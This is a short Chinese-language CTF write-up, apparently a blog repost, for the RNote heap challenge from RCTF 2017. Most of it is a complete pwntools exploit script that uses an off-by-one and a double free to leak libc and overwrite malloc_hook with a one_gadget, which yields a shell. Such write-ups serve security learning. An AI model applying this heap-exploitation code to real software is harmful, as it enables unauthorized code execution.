RNote XCTF 3rd-RCTF-2017 攻防世界

 这个题 emmm   利用 off by one  然后就是double free  然后 写到 malloc_hook 就ok

不过这个题 我一开始出了一个问题 在 malloc_hook  里面我只是找到了  7f 

然后我用了 0x30的堆块  然后不行 malloc的直接在堆块了 没有到我们想要的地方   只能又重新规划    然后 one_gadget   一把梭就好了 

存在  off by one 的地方

 

 基本的泄露基址的方法   很入门的一道题

#!/usr/bin/env python2
from pwn import *
context.log_level = 0
io=process("./RNote")
libc=ELF("./libc-2.23.so")
def add(size,title,content):
	io.sendline("1")
	io.recvuntil("Please input the note size: ")
	io.sendline(str(size))
	io.recvuntil("Please input the title: ")
	io.send(title)
	io.recvuntil("Please input the content: ")
	io.send(content)

def dele(index):
	io.sendline("2")
	io.recvuntil("Which Note do you want to delete: ")
	io.sendline(str(index))

def show(index):
	io.sendline("3")
	io.recvuntil("Which Note do you want to show: ")
	io.sendline(str(index))

if __name__ =="__main__":
	add(0x20,'a'*0xf+'\n','a'*0x20)#0
	add(0x20,'b'*0xf+'\n','b'*0x20)#1
	add(0x20,'c'*0xf+'\n','c'*0x20)#2
	add(0x80,'d'*0xf+'\n','d'*0x20)#3
	add(0x60,'A'*0xf+'\n','e'*0x20)#4 30
	dele(3)
	add(0x80,'d'*0xf+'\n','\n')#3
	show(3)
	io.recvuntil("note content: ")
	main_arena=u64(io.recv()[8:14].ljust(8,'\x00'))-88
	libc_base_addr=main_arena-0x3C4B20
	print hex(libc_base_addr)
	system_addr=libc_base_addr+libc.sym['system']
	add(0x20,'D'*16+'\x30\n','e'*0x20)#5
	add(0x60,'A'*0xf+'\n','e'*0x20)#6
	add(0x60,'A'*0xf+'\n','e'*0x20)#7
	dele(4)
	dele(7)
	dele(5)
	# dele(6)#double free
	# #gdb.attach(io)
	fake_chunk_addr=main_arena-0x33
	sh_bin=libc.search("/bin/sh").next()+libc_base_addr
	print "fake_chunk_addr",hex(fake_chunk_addr)
	one = libc_base_addr + 0xf1147
	payload=0x13 * 'a' + p64(one)
	
	add(0x60,'e'*0xf+'\n',p64(fake_chunk_addr))
	# #gdb.attach(io)
	add(0x60,'s'*0xf+'\n','s'*0x20)
	add(0x60,'s'*0xf+'\n','s'*0x20)
	
	#gdb.attach(io,'b *0x7ffff7a52390')
	# #gdb.attach(io)
	add(0x60,'F'*0xf+'\n',payload)
	# #gdb.attach(io)
	io.recv()
	io.sendline('1')
	io.recv()
	io.sendline('10')
	io.interactive()

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/90744253
今日推荐